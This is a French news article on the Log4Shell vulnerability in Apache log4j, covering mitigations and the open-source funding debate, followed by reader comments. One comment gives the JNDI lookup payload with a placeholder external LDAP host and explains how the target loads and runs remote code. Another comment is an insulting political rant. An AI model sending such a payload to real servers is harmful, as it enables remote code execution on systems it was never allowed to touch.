Log4Shell : derrière l’importante faille, l’éternelle question du soutien au logiciel libre
Heartbleed, on pense à toi !
Ce week-end, une très importante faille – baptisée Log4Shell – a été découverte dans la bibliothèque de journalisation Apache log4j. On se trouve dans le pire scénario puisqu’elle permet d’exécuter du code arbitraire à distance, sans authentification. Comme avec Heartbleed, certains sites ont... fermé.
Vendredi, le CERT-FR publiait un bulletin sur cette brèche identifiée par le CVE 2021 - 44228. Pour vous donner une idée du niveau de « panique », elle se paye le luxe d’obtenir une note de 10/10 pour ce qui est de sa dangerosité. Les détails techniques sont donnés par Apache dans ce bulletin.
Le centre gouvernemental de veille, d’alerte et de réponse aux attaques informatiques rappelle de son côté qu’Apache log4j « est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE ».
Attention, ne pas utiliser Java ne suffit pas à considérer que vous êtes épargné, puisque cela peut être le cas de briques sous-jacente de votre architecture. Log4j est utilisé dans une large panoplie de frameworks : Apache Struts2, Solr, Druid, Flink… Elle peut donc se répandre comme une trainée de poudre.
Vous avez donc tout intérêt à vérifier ce qu'il en est dans votre cas. Des détecteurs ont bien évidemment été mis en ligne (ici ou là par exemple) maintenant que les prototypes d’exploitation sont publics.
Vite on se met à jour…
Selon Bleeping Computer, cette faille aurait été détectée par l’équipe de sécurité d’Alibaba Cloud et notifiée à Apache le 24 novembre. Des preuves de concept ont rapidement été mises en ligne et des exploitations ont bien évidemment été confirmées dans la foulée. Certains évoquent néanmoins une détection du problème dès 2016.
Toutes les versions de la bibliothèque sont concernées, à part la 2.15.0 qui vient de sortir et corrige justement la faille. Dans le cas des versions 1.x de Log4j, il y a une condition pour qu’elle soit exploitable : « la vulnérabilité n'existe que si le composant JMS Appender est configuré pour prendre en compte JNDI. Il s'agit donc d'une configuration très spécifique », explique le CERT-FR.
… à défaut des solutions de contournement
Il est évidemment plus que fortement recommandé d'utiliser la version 2.15.0 de log4j afin de se prémunir contre Log4Shell, mais si ce n’est pas possible des contournements sont possibles :
- Log4j versions 2.7.0 et ultérieures : « il est possible de se prémunir contre toute attaque en modifiant le format des évènements à journaliser avec la syntaxe %m{nolookups} pour les données qui seraient fournies par l'utilisateur. Cette modification impose de modifier le fichier de configuration de log4j pour produire une nouvelle version de l'application. Cela requiert donc d'effectuer de nouveau les étapes de validation technique et fonctionnelle avant le déploiement de cette nouvelle version »
- Log4j versions 2.10.0 et ultérieures : « il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l'option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d'attaque (les chercheurs n'excluent pas l'existence d'un autre vecteur d'attaque) ».
Amazon Web Services propose de son côté un hotpatch, « à utiliser à vos risques et périls ». D’autres « techniques » ont été publiées, notamment Logout4Shell qui « utilise cette faille contre elle-même ». Stéphane Bortzmeyer pose la question de la légalité de cette manœuvre qui consiste à « pirater une machine pour la patcher ».
« Menace importante » pour la NSA, le Québec ferme des milliers de sites
Les réactions sont nombreuses, trop pour les détailler toutes ici. Rob Joyce, directeur de la cybersécurité à la NSA, explique néanmoins qu’il s’agit d’une « menace importante en raison de son inclusion généralisée dans les frameworks logiciels, même le GHIDRA de la NSA », un logiciel open source d'ingénierie inverse.
Le Québec a décidé de suspendre « en urgence » près de 4 000 sites et services gouvernementaux : « La balance des inconvénients faisait en sorte qu’on était mieux de fermer les systèmes et de s’assurer qu’ils étaient sécuritaires avant de les remettre disponibles », affirmait Éric Caire, ministre délégué à la Transformation numérique, comme le rapporte le Journal de Montréal. D’autres sites sont évidemment touchés, comme l’indique Motherboard : Minecraft, iCloud, Twitter, Steam…
De son côté, Cloudflare pense avoir été épargné : « Alors que nous utilisions des versions du logiciel comme décrit ci-dessus, grâce à notre rapidité de réponse et à notre approche de défense en profondeur, nous ne pensons pas que Cloudflare ait été compromis ». Comme a son habitude, le service a rapidement livré une analyse détaillée du problème et évoqué des tentatives capturées ici ou là afin de permettre leur identification.
On remet une pièce sur le débat de l’open source
Comme on pouvait s'y attendre, la découverte de Log4Shell a relancé la question du financement, du maintien et des vérifications des applications open source, qui sont parfois utilisées dans des projets d’envergure. C’est encore et toujours l’occasion de mettre en avant cet excellent dessin de xkcd :
Si dans le cas présent les développeurs semblent avoir été prompts à proposer une mise à jour, certains se demandent si cette « catastrophe » aurait pu être évitée avec une équipe plus conséquente. La question avait été posée avec Heartbleed par le passé et se posera encore très certainement à l’avenir.
Nous avions récemment interrogé Lancelot Pecquet, maître de conférences à l’université de Poitiers, afin de savoir si l’« électrochoc » Heartbleed avait fait bouger les choses dans la durée : « mon impression et mon observation : ça n’a pas changé grand-chose […] car les gens sont très pressés de sortir la nouvelle fonctionnalité ».
S’il en fallait une confirmation, elle vient de tomber.
Nadim Kobeissi a publié un billet de blog sur la question des « mainteneurs » des projets open source, en s’appuyant sur la douloureuse expérience Log4Shell. Il en profite pour rappeler deux « vérités gênantes ».
Il explique ainsi que, « comme beaucoup d’autres projets open source, Log4j est assez petit pour devenir facilement remplaçable en interne à partir du moment où les entreprises commencent à se sentir obligées de dépenser de l’argent pour cela ». S’appuyant sur ce tweet expliquant que la faille viendrait d’une fonctionnalité que les développeurs voulaient supprimer, mais qui a été conservée pour des raisons de compatibilité, Kobeissi ajoute qu’un « grand nombre » de problèmes peut être résolu en réduisant le nombre de fonctionnalités à maintenir (pour se concentrer sur l’essentiel) plutôt qu’en les augmentant, parfois pour de mauvaises raisons.
Les développeurs ont été prompts à réagir
Volkan Yazıcı d’Apache Software Foundation, en rajoute une couche : « Les mainteneurs de Log4j ont travaillé sans sommeil sur des mesures d'atténuation ; correctifs, docs, CVE, réponses aux demandes de renseignements, etc. Pourtant, rien n'empêche les gens de nous critiquer, pour un travail pour lequel nous ne sommes pas payés, pour une fonctionnalité que nous n'aimons pas tous, mais que nous devions conserver en raison de problèmes de compatibilité ascendante ». La question peut être étendue à bien d’autres services…
VideoLan cite l’exemple de FFmpeg. Cédric Champeau, qui travaille pour Oracle Labs ajoute que la question du salaire ne fait pas tout : « C'est un peu ennuyeux de voir comment les gens pensent que le financement d'OSS [Open-Source Software, ndlr] aurait évité le problème avec log4j. Ce ne serait pas le cas. Nous écrivons tous des bugs, le plus important est le processus pour les corriger et la facilité de mise à jour. Dans ce cas, bien qu'ils n'aient pas été payés, les mainteneurs de log4j ont fait un excellent travail ».
Commentaires (91)
Vous devez être abonné pour pouvoir commenter.
Déjà abonné ? Se connecter
Abonnez-vousLe 13/12/2021 à 08h05
une autre façon que de dire que financer l’opensource n’est pas forcément nécessaire si le travail est fait gratuitement. Mr Champeau pourrait se poser la question de savoir si cela aurait put etre fait si les devs de log4j avait eut d’autres engagements à ce moment qui ne pouvaient être remis. Payer les développeurs opensources s’est aussi s’assurer de leur disponibilité.
Le 13/12/2021 à 08h11
Entièrement d’accord avec toi.
Tu as un nombre très importants de plusieurs dizaines de milliers de site dans le monde qui sont impactés et leur sécurité à cet instant dépendait de bénévoles. C’est juste hallucinant comme situation une nouvelle fois.
Je vais finir par ne plus utiliser de bibliothèques open-source s’il n’y a pas un modèle de financement et des personnes salariées derrière.
Le 13/12/2021 à 10h27
On en revient un peu sur l’idée que quand on achète (disons, pour simplifier) un produit, on achète pas seulement le produit mais on regarde aussi le service qui y est associé. Un produit peut être un peu bof mais s’il est bien supporté par l’entreprise qui est derrière, renforce la confiance qu’on peut lui accorder.
Le 13/12/2021 à 08h24
Je ne sait même pas pourquoi Mojang s’en sert, ils auraient pu faire plus simple et plus facil à maintenir. Je sais qu’ils l’utilisent pour la langue mais j’ai pu, en quelques lignes de codes appelant la jdk, faire pareil.
Le 13/12/2021 à 08h30
Bah je ne crois pas que ça ait le moindre rapport avec le sujet, le pb de fond est l’utilisation des frameworks !
En exploitant un truc tout fait:
Côté framework : une fois exploité ça devient in-maintenable sans casser la rétro-compatibilité. On le voit là, cette option avait probablement été identifiée comme foireuse mais ne pouvait pas être virée, car utilisée par d’autres !
Enfin le shéma de XSCD n’a rien à voir avec le libre (d’aille_èurs il n’y fait pas du tout référence), remplacer “some random in Nebraska” par “code écrit par un stagiaire sans formation, qu’on a jamais pris le temps de relire parce qu’il fonctionne” et c’est pareil y compris dans le “fermer” ;-) A la limite je pens equ’il y’a plus de relecture dans le libre que le fermer : la pression y est moindre et on peut prendre le temps de préparer une release.
Le 13/12/2021 à 08h51
+1
Le 13/12/2021 à 09h04
+1
Sauf pour la relecture ou je n’ai pas d’avis. Car dans le fermer, tu as la pression des clients, du support technique, de l’image de marque, etc….. Dans l’open source tu as la “pression” de sortir la nouvelle fonction, tu peux avoir plus de difficulté à trouver des dev qui voudront relire au lieu de passer du temps à dev de la nouveauté, etc….
Donc sur ce point, je encore moins de certitude que toi.
Le 14/12/2021 à 07h26
Le dev aujourd’hui c’est du lego … aux mains de personnes qui ne savent même pas comment un ordinateur fonctionne. Et en ESN, ces devs sont pilotés par des gestionnaires qui s’y connaissent encore moins.
Bref, l’utilisation du libre n’est pas une gageure en soi. Mais c’est comme n’importe quel objet qu’on manipule, il faut le maîtriser un minimum, suivre son actualité (le terme consacré pour ça c’est veille technologique).
Hors le fond du problème, c’est qu’il y a des grosses vedettes de la conception qui mettent des librairies et autres frameworks sur la table des devs pour faire un logiciel que le client souhaite faire tourner minimum 5 à 10 ans. Malheureusement, comme souvent, les dits frameworks / librairies vont avoir une espérance de vie de l’ordre de 6 mois, c’est à dire un peu moins que le cycle de développement de la première version du logiciel.
Ce n’est pas tant l’utilisation du libre qui est dommageable, c’est surtout le manque de suivi et de compétences qu’on trouve dans beaucoup de projets. En ESN, le pilote c’est la rentabilité. Le fait que le logiciel fonctionne quelques années après sa livraison … est un accident, un effet collatéral non anticipé. Le client a aussi sa part de responsabilité : le suivi des mises à jour des plateformes n’est pas fait. Ils ont peur que ça marche plus après. Il n’est pas rare de trouver des serveurs installés 10 ans auparavant avec l’application des mises à jour qui ont été faites que les 2 première années. Mettre à niveau ce genre d’environnements revient à redévelopper l’application car l’OS / version java / serveur d’application / framework ont tous évolué et passé plusieurs version majeures.
Le 14/12/2021 à 07h56
Ou là pas tous quand même :)
Je travaille dans une ESN (sur SAP) un collègue est venu me voir pour me dire qu’il avait vu mon nom dans un cartouche de programme : On allait réécrire mon système d’appro de boutiques coder 10ans plus tôt. J’ai regardé le code aucune maintenance en 10ans
La raison de la nouvelle version est une réorganisation de l’entreprise qui rend ce cockpit obsolète.
Après ce que tu dis est vrai dans le Web ou Java. Où les juniors sont souvent pas/peu qualifiés et se contentent de copier / coller du code à droite à gauche sans toujours comprendre ce qu’ils écrivent.
Le 15/12/2021 à 07h24
Oui, tout n’est pas binaire.
Tu as encore des devs expérimentés qui vont jouer le rôle de garde-fous. Malheureusement, on ne leur dit pas tout sur les développement à venir et les peu expérimentés, avec la bénédiction des pilotes, tombent dans le piège des dépendances externes faciles qui leur donnent l’impression de gagner du temps. Mais en fait, c’est une bombe à retardement avec une mèche plus ou moins courte.
Et une fois que ça pète, on appelle au secours les référents du développement pour faire un tour de magie et faire disparaître en une journée toute la dette technique. Soit il tape sur la cause (souvent un élément pilier des programmes), soit il ne pourra que juguler les effets (une glute par dessus d’autres glutes). Dans ce dernier cas, l’idée de refonte doit être lancée immédiatement pour éviter les spirales infernales des bugs à répétition (j’appelle ça la commode de murphy).
Le 13/12/2021 à 08h37
Euh, struts2, druit, … ne sont-ils pas des framework purement java ? ou j’ai raté quelque chose ? struts2 n’est-il pas pour le web ? (JEE)
Le 13/12/2021 à 08h44
Bonne courage !
Essaie déjà de faire un hello world sans utiliser d’open source.
Le 13/12/2021 à 11h12
Suffit d’utiliser Windev ;)
Le 13/12/2021 à 13h56
Y a des limites à l’humour
Le 13/12/2021 à 09h01
Certes, ceci dit, un gros paquet de frameworks sont open source, donc on a tendance à mélanger un peu les deux.
C’est le cas de pas mal d’API, on ne peut pas réinventer la roue à tous les coups. Dès que tu fais des choses un peu abstraites, tu perds le contrôle sur ce qui se passe en dessous (a fortiori quand tu fais du Java). Le problème c’est plus le principe des frameworks où tu n’exploites pas des fonctionnalités dont tu contrôles le flux (comme avec une API), mais tu insères ton code dans un flux imposé par le framework. Ça a des tas d’avantages (maintenance, rapidité de développement, etc.) mais aussi des inconvénients (à commencer par le fait que si tu sors du cas d’utilisation idéal du framework, tu dois rentrer dans la logique de ce dernier pour modifier son comportement, ce qui devient vite complexe).
C’est pour ça qu’il faut choisir un framework avec soin, mais c’est malheureusement rarement le cas (“nos équipes sont très expérimentées sur Spring, truc et machin” => corolaire, on ne sort jamais de ces technos même si elles sont inadaptées au projet)
Là on est sur un autre problème : la doc et la lisibilité de l’API.
Ça ne rend pas pour autant obligatoire d’utiliser (ni d’exposer) par exemple log4J quand tu n’en as pas besoin.
Le 13/12/2021 à 09h03
Un hello world en Visual Basic ?
Le 13/12/2021 à 09h19
“An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled”
Donc il faut que l’attaquant ait accès au LDAP et ait intégré dans le LDAP une charge de travail? En binaire?
Après, je suis tout à fait d’accord sur le problème de la multiplication des frameworks - normalement, je fais une chouche d’abstraction entre mon soft et le framework afin de:
Le 13/12/2021 à 09h32
L’attaquant passe simplement l’adresse vers son serveur LDAP.
Le 13/12/2021 à 09h35
L’idée est d’envoyer une requête de sorte que l’application cible log la chaine “${jndi:ldap://serveur_externe}” (c’est souvent très facile, il est probable qu’une application web va logger les urls des erreurs 404 par exemple). A partir de là, il suffit de mettre en place un serveur à l’adresse “serveur_externe” qui retourne un .class Java (je n’ai pas regardé par quelle protocole), et l’application cible va automatiquement l’exécuter.
Donc pas besoin d’avoir un ldap sur le réseau cible.
Le 13/12/2021 à 09h20
Ben c’est open source en fait.
Le 13/12/2021 à 09h25
C’est même pas certain suivant ta version de VB vu que .net core est open source
Le 13/12/2021 à 09h27
Tu n’as pas fait attention sur le dessin, il est ajouté “since 2003” et c’est ce qui fait toute la différence. Le stagiaire va trouver un boulot à l’issue de son stage et plus personne ne maintient le bout de code. Du code non maintenu, c’est du code mort. Le code du stagiaire sera soit abandonné car inutilisé, soit il sera repris et réécrit car utile.
Dans le monde open source, le code est maintenu par des bénévoles pendant des années.
Donc, oui, ce dessin fait bien référence au monde du libre et n’est pas transposable au code fermé.
Le 13/12/2021 à 09h28
Sauf erreur de ma part, la présentation de 2016 montre qu’il est possible d’exécuter du code à distance via jndi + ldap, mais pas que log4j est un vecteur d’attaque.
Le 13/12/2021 à 09h37
“Nous écrivons tous des bugs, le plus important est le processus pour les corriger et la facilité de mise à jour. Dans ce cas, bien qu’ils n’aient pas été payés, les mainteneurs de log4j ont fait un excellent travail”
Bah il faut commencer par payer les developpeurs (parfois une petite tape sur l’épaule suffit, LAL)….
Et aussi distinguer les bons et les moins bons.
Tout le monde fait des ereurs, c’est juste. Mais y a ceux qui en font moins, et des moins grosses…
Les mainteneurs de log4j ont fait un excellent travail ? Surement, mais pas tous….
Le 13/12/2021 à 09h40
OK, merci. Bon, il faut quand même que le serveur ait accès à tout et n’importe quoi (ici même les serveurs web n’ont pas accès au web en sortie)
Le 13/12/2021 à 09h44
D’autres « techniques » ont été publiées, notamment Logout4Shell qui « utilise cette faille contre elle-même ». Stéphane Bortzmeyer pose la question de la légalité de cette manœuvre qui consiste à « pirater une machine pour la patcher ».
On peut se poser tout un tas de questions, mais ici, ceux qui ont pondu l’outil l’ont fait pour que l’on puisse patcher rapidement ses propres serveurs.
Take action now to implement this vaccine and protect your Apache servers from this critical vulnerability.
Ils continuent en disant :
You should still update your Apache systems to permanently remediate the vulnerability, but patching takes time, and some systems may not be able to be updated immediately—or at all. The recommended guidance is to upgrade as soon as possible to Apache log4j-2.1.50.rc2. All prior 2.x versions are vulnerable.
Le 13/12/2021 à 10h01
VB 6 et antérieur, le pb est réglé
Le 13/12/2021 à 10h10
En même temps, est-ce étonnant ?
Ça fait bien longtemps qu’on sait qu’une dépendance opensource n’est pas un gage de qualité et de sécurité.
Tous les dev opensource ne sont pas forcément compétent en qualité.
Ils bossent (en général) sans être payé sur ce projet.
Nombre de projets sont obsolètes mais servent de base à d’autres dépendances.
Ça fait la 4e faille de sécu liée à des dépendances que je traite en 2 semaines. NodeJS, Python, dépendance WordPress RGPD et maintenant Java.
Les langages et framework modernes qui n’embarque plus qu’une API minimale en se disant que tout sera fait dans les dépendances sur le net ne font qu’empirer les choses… Java est encore moins impacté, mais ça n’est pas la panacée.
Le 13/12/2021 à 10h32
On peut dire la même chose pour du closed source, il suffit de voir toutes les vulns liées à ADCS printernightmare ou encore le nouveau
GitHubd’avant hier, dans le code fermé de Windows …
C’est pas pire que log4j2 c’est sur mais je pense que le débat closed/open source est vraiment un épiphénomène…
De plus même si la résolution jndi fonctionne il faut tout de même avoir le deuxième step de la vuln qui passe, aka avoir une jvm ancestrale ou tourner sur un moteur d’application java avec les bons objets en instance permettant la résolution de classes externes et que le serveur impacté puisse se connecter au net sur le ldap et le http rogue pour récuperer la classe .
Malheureusement un outil sur github, JNDIExploit, qui a heureusement été vite rm par github d’ailleurs, a été fournit pour simplifier les différentes méthodes d’exploitation pour le step2 et des acteurs de botnet les ont vite mis en route ….
Je rajouterais qu’il est difficile maintenant de ne pas utiliser d’open source et qu’au final heureusement qu’il est là, sinon ton iPhone ou ton Android n’existerait pas ! ainsi que la plupart des infra critiques d’internet, bref c’est plus un troll pour moi qu’autre chose
Le 13/12/2021 à 16h41
Mais tu as complètement craqué ?
Est-ce qu’à un moment j’ai dit que l’opensource était inutile et qu’il fallait privilégier le closed source ?
Avant d’appeler au troll, il serait bon de lire le texte non ?
Ce n’est pas parce que l’opensource n’est pas l’eldorado souvent présenté, que ça ne vaut rien. Je n’utilise QUE de l’opensource pour bosser et je le vis très bien, mais il faut connaître les limites du système.
Le 13/12/2021 à 10h40
C’est dingue : vous parlez tout le long de l’article d’open source, qui n’a rien à voir avec les logiciels libres, mais vous titrez fièrement logiciel libre. C’est quoi la licence du logiciel ? Il faudrait savoir…
Ensuite le dessin humoristique, pourquoi pas. Mais on pourrait tout autant dénigrer le propriétaire payant en dessinant un dinosaure sur son paquet de fric en train de regarder les failles passer devant lui. L’argent n’a jamais été un gage de qualité du code, sinon windows se passerait d’antivirus comme GNU/Linux depuis des années.
Le problème de la rémunération est quant à lui bien réel, dans le libre ou l’open source, et plus que jamais. On dépense des dizaines de milliards chez les GAFAM chaque année, mais personne n’a jamais quelques millions pour soutenir des projets libres qui apportent pourtant à tous, et que les GAFAM ne se gênent pas d’utiliser ensuite dans leurs propres infras.
Et c’est pire encore avec l’euroreich qui fait tout pour favoriser les GAFAM, à commencer par la vente forcée matériel/logiciel en magasin. Non seulement le dirigeant eurofasciste est complètement con, mais en plus, il est plus que jamais fier d’exhiber son conformisme à l’oncle Sam. Donc oui : la situation devient délicate dans le libre, parce que la génération qui défendait la souveraineté du pays face à l’envahisseur est en train de passer l’arme à gauche ou de partir en retraite, et que celle qui la remplace n’est plus qu’un ramassis de gestionnaire peureux, carriéristes et sans aucun scrupules, gaspillant le denier public pour s’élever dans la hiérarchie des imbéciles heureux. Triste bilan d’une structure devenue totalitaire, assez folle pour utiliser ses propres enfants comme cobayes humains - mais c’est un autre débat.
Maintenant java n’a jamais été pour ma part une technologie digne de confiance. On connaît tous Oracle et ses commerciaux aux dents acérées. Et je doute fort que ce soit la seule faille qui traîne dans une librairie.
Ensuite on peut toujours s’en prendre aux développeurs, mais à un moment donné, il faut distinguer les passionnés, qui font ce qu’ils peuvent avec les moyens qu’ils ont, et les pros qui eux sont payés pour que ce genre de chose n’arrive pas. Si vous êtes un gros poisson et que vous avez de la tune, vous n’avez aucune excuse pour ne pas rémunérer correctement les gens qui participent à vos développements. Vous choisissez de ne rien donner ? Ok : mais ne venez pas râler quand la faille vous tombe dessus !
Par contre, j’ai beaucoup aimé le coup de pirater sa faille pour la combler. C’est vrai que du point de vue juridique, ça amène pas mal de questions assez croustillantes…
Le 13/12/2021 à 10h47
Je n’arrive pas à comprendre le sens de votre propos ?
Est-ce étonnant qu’une grosse faille découverte dans un outil open-source et utilisé massivement à travers le monde provoque un tel bruit médiatique ? Non, effectivement, c’est logique.
Est-ce étonnant qu’une faille découverte dans un outil open-source soit communiquée si publiquement ? Non, c’est logique.
Est-ce étonnant qu’une faille découverte dans un outil open-source provoque une forte activité dans la communauté qui l’entoure pour la corriger ? Non, c’est logique.
Ici, tout s’est déroulé comme cela est censé se dérouler avec de l’open-source. Et c’est une des raisons qui fait l’intérêt de l’open-source.
Le débat sur la rémunération des mainteneurs n’est là que parce que des personnes cherchant à s’enrichir sur le dos de l’open-source et n’ayant pas compris son fonctionnement, réclament des garanties qui ne leur ont jamais été promises.
Le 13/12/2021 à 11h14
Je ne pense pas que Kristanos ait jamais voulu induire le contraire.
À mon sens, toutes choses égales par ailleurs (coût / fonctionnalité / support) un logiciel libre est intrinsèquement plus “fiable” qu’un logiciel propriétaire parce que tu as le même niveau de garantie (= aucune, ne jamais se leurrer sur l’engagement réel des éditeurs propriétaires) mais en plus tu peux regarder le code et l’adapter à ta sauce sans demander permission au préalable ou devoir payer pour ça.
Cela dit il faut quand même que…
Bref, le gros atout de l’open source c’est que tu peux bien plus vite et plus facilement jauger de la qualité du produit SI tu en as les moyens. C’est loin d’être systématique et automatique.
Autrement, la seule manière de maximiser le rapport bénéfices / risques est de prendre des solutions populaires et maintenues, mais la news est là pour nous rappeler que même ça ne met pas à l’abri de mauvaises surprises.
En bref, du point de vue d’un “simple utilisateur”, ne jamais considérer par principe qu’un logiciel est sans faille, quelque soit son modèle économique derrière… ^^
Pro-tip au passage : quand on embauche un développeur pour répondre à des besoins internes, très vite auditer ce qu’il a produit. Entre les incompétents de bonne volonté, les incompétents de mauvaise volonté, et les compétents de mauvaise volonté (= je fais le taff mais en codant de manière à ce que personne d’autre puisse comprendre pour m’assurer une rente) c’est pas simple de trouver des gens réellement fiables pour pérenniser un développement…
Le 13/12/2021 à 12h39
C’est quoi “dépendance WordPress RGPD” ? Je n’en ai pas entendu parler et je suis intéressé. Merci par avance.
Le 13/12/2021 à 16h49
Ce matin, consensu.org qui est utilisé par, notamment, un plugin RGPD pour Wordpress, était compromis, et quand tu cliquais sur les liens de la fenêtre classique de consentement sur les site qui utilisaient ce plugin (et probablement le site en direct), ça affichait des trucs pas jolis jolis.
Depuis, ils doivent être sur le coup car : https://consentmanager.mgr.consensu.org/
(pour le registre : Error establishing a database connection).
Bon pour celui là je n’ai pas plus d’info que ça, j’étais dans les échanges, mais ce n’est pas mon périmètre.
Le 13/12/2021 à 12h45
Jcomprends pas le sujet sur l’opensource.
Log4j est vuln, ça c’est clair.
Mais le vecteur d’exploitation, c’est l’absence de validation/d’échappement de données entrants.
C’est pourtant aujourd’hui le B-A-BA.
Quand je vois le début de la payload “${”, c’est un peu du standard dans pas mal de langage et qui dans 99% des cas, n’est pas attendu dans des requêtes. Et pour le coup, un coup d’échappement et pas de résolution.
Et pour le coup, tout le monde est en train de mettre log4j en coupable, alors qu’eux-mêmes ne font pas du code propre.
EDIT : quand j’ai vu un POC, avec un service qui logguait directement une donnée utilisateur par concaténation directe sans contrôle préalable dans un string, je me suis dit, “ah ben les SQLi n’ont rien fait apprendre”.
Le 13/12/2021 à 13h13
Il ya quand même des GAFAM qui participent activement à l’open source, je pense notamment à Microsoft depuis Satya Nadella et Google. Et merci à eux.
Par contre, Apple, qui est pourtant loué par pas mal de dev open source participe très peu ou pas du tout…
Il y a 10 ans j’ai créé un petit projet open source qui a eu son petit succès (+1000 stars su Github), même si ca a été très formateur, plus jamais je ne recommencerai.
Le 13/12/2021 à 14h00
Et ceux-là parfois, tu les retrouves entrain de faire passer des entretiens :s
Le 13/12/2021 à 14h34
Oui, et Facebook participe aussi à différents projets, dont React ; il y a aussi un moteur PHP me semble, et ils ont participé à un des relativement nouveaux algorithmes de compression de données (genre lz4).
Le 13/12/2021 à 15h34
Aujourd’hui, les GAFAM, la silicon valley et les grosses sociétés contribuent à leur manière à l’Open Source. Ils produisent beaucoup de frameworks et autres bibliothèques parmi les plus populaire. Mais aussi investissent dans certain projet où ils ont des intérêt. On peut ainsi voir des noms comme Intel, Samsung, IBM, Huawei, Google, Facebook, Nvidia, Oracle, Microsoft… parmi les plus gros contributeur au noyau Linux.
React est par exemple un framework développé par Facebook à la base.
Le 13/12/2021 à 16h43
J’ai pas dit le contraire.
J’ai pas dit le contraire.
j’ai pas dit le contraire. Cependant, que la vulnérabilité touche l’opensource ne garantit pas une forte activité dans la communauté pour la corriger, tout dépend de la taille de la dite communauté et de la visibilité de la faille.
Je n’ai pas dit le contraire.
Je n’ai pas dit le contraire.
Du coup, je n’arrive pas à comprendre le sens de ton propos ?
Le 13/12/2021 à 16h45
Merci.
Merci.
Dommage qu’il n’y ait pas plus d’emphase possible sur le toutes choses égales par ailleurs.
Le 13/12/2021 à 16h53
Si tu as les moyens en interne, tu le fait pas toi-même ?
Ou alors vérification par une autre personne extérieure elle aussi ?
Le 13/12/2021 à 18h55
Microsoft, Google, Amazon (AWS), Facebook et bien d’autres entreprises sont membres de la Fondation Linux, qui a eu 177 millions de dollars de revenus en 2021, d’après leur rapport annuel (Financial Disclosures, page 85).
On ne peut donc pas dire que personne ne donne, même s’il est vrai qu’il faudrait toujours plus.
Le 13/12/2021 à 19h11
Tous les développeurs n’étant clairement pas experts en sécurité et ne maîtrisant malheureusement pas toujours les bonnes pratiques, on pourrait également ajouter qu’avec un véritable budget, ils pourraient également fiancer des audits de code par des boîtes spécialisées. Les failles pourraient ainsi être repérées et corrigées bien plus tôt.
Le 13/12/2021 à 19h45
Non, l’erreur est clairement du coté log4j.
La documentation dit que “%m” devrait écrire directement le texte.
https://logging.apache.org/log4j/log4j-2.2/manual/layouts.html#PatternLayout
Hors, en réalité, ce texte va d’abord être interprété comme un pattern (dans le cas de la faille, un pattern lookup JNDI)
https://logging.apache.org/log4j/log4j-2.2/manual/lookups.html
Le 15/12/2021 à 09h30
Ce n’est pas parce que ça l’écrit d’un côté, que ca ne va pas l’interpréter de l’autre. On l’a vu dans les mitigations pre-2.16 release : désactivation explicites du lookup. Je n’ai pas vu dans les liens une mention disant que %m implique la désactivation du lookup(ou alors quoter la phrase, j’avoue que j’ai survolé).
Et je n’ai pas dit que log4j n’était pas vuln, mais qu’il n’y a pas que lui à blâmer, ya des “${” en données entrantes qui ne sont pas filtrées.
Le 13/12/2021 à 21h15
echo hello world
avec guillemets, c’est du bash, libre, et on n’est pas bon…
Sans les guillemets, c’est du MS DOS, bien fermé !
Le 13/12/2021 à 22h58
Je suis navré que tu penses que j’ai “craqué” mais je me permet de te paraphraser :
Déjç je ne suis pas d’accord sur le fait que l’opensource n’est pas un gage de qualité, par essence le fait de pouvoir lire le code et de le modifier à sa convenance est la panacée pour l’ingénieur qui veut coller une librairie ou un programme à une infrastructure existante.
ou encore :
On peut dire exactement la même chose du code closed source, personnellement je pense même qu’il est encore pire de faire confiance à du code de soft propriétaire d’entreprise ( je pense que ça ne sert à rien de citer tous les CVEs existant sur Microsoft, SAP, Oracle, IBM, HP, VMWare etc. je ne suis pas trop du genre à rabaisser quelque chose qui est déjà à terre )
Ce qui m’a fait tiqué dans tes propos, qui pour ma part étaient clairement dirigés contre le logiciel libre, c’est que tu penses qu’une partie des développeurs opensource, du fait qu’ils ne sont pas payés et font ça sur leur temps libre produisent du code de piètre qualité.
Alors tout d’abord, je me permet de les représenter sur ce point, certes il arrive souvent qu’à l’arrivée d’un nouveau développeur sur un projet que le code produit est défaillant sur plusieurs point, le temps pour lui d’appréhender le coding style l’api et les pièges liés au langage utilisé, mais il existe des outils très bien de suivi de code, des VCS ( tels que git svn cvs fossil et même en closed source comme perforce ou pvcs ) qui permettent une remédiation du code et une lecture aisée des diff entre les versions.
Pour ma part je pense que la plupart font souvent ça par passion et sont à mon avis beaucoup plus performant et efficaces que beaucoup de dev en entreprise qui font de l’alimentaire.
Pourtant comme tu le dis toi même :
Effectivement plein de vielles librairies avec un petit push de temps en temps comme zlib libxml2 etc. voire même les coreutils gnu qui n’évoluent plus beaucoup et pourtant tellement utilisés …
Là encore donne moi des librairies complexes telles que les bibliothèques de chiffrement, d’encodage vidéo, sur tout ce qui est traitement de signal, transformées de fourier etc. en closed source, je pense sincèrement que tu auras énormément de mal de trouver des exemples qui sont au même niveau que les équivalents open-source.
Bref avant de voir le troll dans ma réponse essaye de prendre du recul sur les choses, effectivement cette vulnérabilité impacte beaucoup d’applications, non pas parce que le code est de moins bonne qualité mais surtout parce qu’il y a plus d’application opensource qui l’utilisent.
Mais à mon avis beaucoup moins de serveurs seront impacté que les vulnérabilités d’antan utilisées par exemple par conficker, sasser ou code red worm, qui utilisaient justement du code mal désigné et closed source.
Le 13/12/2021 à 23h02
Le 14/12/2021 à 06h13
Ou pas
Complètement d’accord, ce n’est pas juste balancer des sous comme ça qu’il faut au monde du libre, c’est l’aider à avoir une chaîne de valeur efficace et fiable. On a trop tendance à confondre le modèle du libre avec le NoOps, aussi surnommé “dev tout puissant”, alors qu’il n’est qu’un des éléments de l’ensemble du logiciel et que d’autres expertises sont requises.
Le 14/12/2021 à 07h04
Tu marches sur la tête si tu crois qu’on réécrit du code pour le plaisir :) Si ça marche on n’y touche pas. D’autant plus s’il n’y a pas de spec et que ça a été pondu par un stagiaire, et que c’est vieux !
Ça pour le coup, c’est valable autant dans le libre que dans le fermer. Réécrire du code même en étant un cador expérimenté : c’est prendre le risque d’inclure de nouveaux bugs / failles.
